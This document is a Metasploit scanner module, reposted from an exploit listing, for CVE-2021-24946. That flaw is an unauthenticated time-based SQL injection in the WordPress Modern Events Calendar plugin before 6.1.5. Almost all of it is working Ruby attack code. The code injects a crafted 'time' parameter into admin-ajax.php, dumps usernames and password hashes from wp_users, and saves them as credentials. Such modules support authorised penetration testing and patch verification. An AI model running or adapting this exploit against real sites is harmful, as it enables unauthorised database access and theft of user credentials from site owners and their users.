Exploit for WordPress Modern Events Calendar SQL Injection Scanner CVE-2021-24946

## https://sploitus.com/exploit?id=PACKETSTORM:181074
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HTTP::Wordpress  
include Msf::Auxiliary::Scanner  
include Msf::Exploit::SQLi  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'WordPress Modern Events Calendar SQLi Scanner',  
'Description' => %q{  
Modern Events Calendar plugin contains an unauthenticated timebased SQL injection in  
versions before 6.1.5. The time parameter is vulnerable to injection.  
},  
'Author' => [  
'h00die', # msf module  
'Hacker5preme (Ron Jost)', # edb  
'red0xff' # sqli lib assistance  
],  
'License' => MSF_LICENSE,  
'References' => [  
[ 'EDB', '50687' ],  
[ 'CVE', '2021-24946' ],  
[ 'URL', 'https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24946/README.md' ],  
[ 'WPVDB', '09871847-1d6a-4dfe-8a8c-f2f53ff87445' ]  
],  
'Actions' => [  
['List Users', { 'Description' => 'Queries username, password hash for COUNT users' }],  
],  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [],  
'SideEffects' => [IOC_IN_LOGS]  
},  
'DefaultAction' => 'List Users',  
'DisclosureDate' => '2021-12-13'  
)  
)  
register_options [  
OptInt.new('COUNT', [false, 'Number of users to enumerate', 1])  
]  
end  
  
def check_host(_ip)  
unless wordpress_and_online?  
return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress')  
end  
  
checkcode = check_plugin_version_from_readme('modern-events-calendar-lite', '6.1.5')  
if checkcode == Msf::Exploit::CheckCode::Safe  
return Msf::Exploit::CheckCode::Safe('Modern Events Calendar version not vulnerable')  
end  
  
print_good('Vulnerable version of Modern Events Calendar detected')  
checkcode  
end  
  
def run_host(ip)  
@sqli = create_sqli(dbms: MySQLi::TimeBasedBlind, opts: { hex_encode_strings: true }) do |payload| # also tried encoder: :base64 and still not quite getting the right answer.  
d = Rex::Text.rand_text_numeric(4)  
# the webapp takes this parameter and uses it two times in the query, therefore our sleep is 2x what it should be. so we need to cut it.  
payload = payload.gsub(/sleep\(\d+\.\d+\)/i, "sleep(#{datastore['SQLIDELAY'] / 2})")  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),  
'vars_get' => {  
'action' => 'mec_load_single_page',  
# taken from sqlmap  
'time' => "#{Rex::Text.rand_text_numeric(1)}) AND (SELECT #{Rex::Text.rand_text_numeric(4)} FROM (SELECT(#{payload}))#{Rex::Text.rand_text_alpha(4)}) AND (#{d}=#{d}"  
}  
})  
fail_with Failure::Unreachable, 'Connection failed' unless res  
end  
unless @sqli.test_vulnerable  
fail_with Failure::PayloadFailed, "#{peer} - Testing of SQLi failed. If this is time based, try increasing SqliDelay."  
end  
  
columns = ['user_login', 'user_pass']  
results = @sqli.dump_table_fields('wp_users', columns, '', datastore['COUNT'])  
table = Rex::Text::Table.new('Header' => 'wp_users', 'Indent' => 1, 'Columns' => columns)  
results.each do |user|  
create_credential({  
workspace_id: myworkspace_id,  
origin_type: :service,  
module_fullname: fullname,  
username: user[0],  
private_type: :nonreplayable_hash,  
jtr_format: Metasploit::Framework::Hashes.identify_hash(user[1]),  
private_data: user[1],  
service_name: 'Wordpress',  
address: ip,  
port: datastore['RPORT'],  
protocol: 'tcp',  
status: Metasploit::Model::Login::Status::UNTRIED  
})  
table << user  
end  
print_good(table.to_s)  
end  
end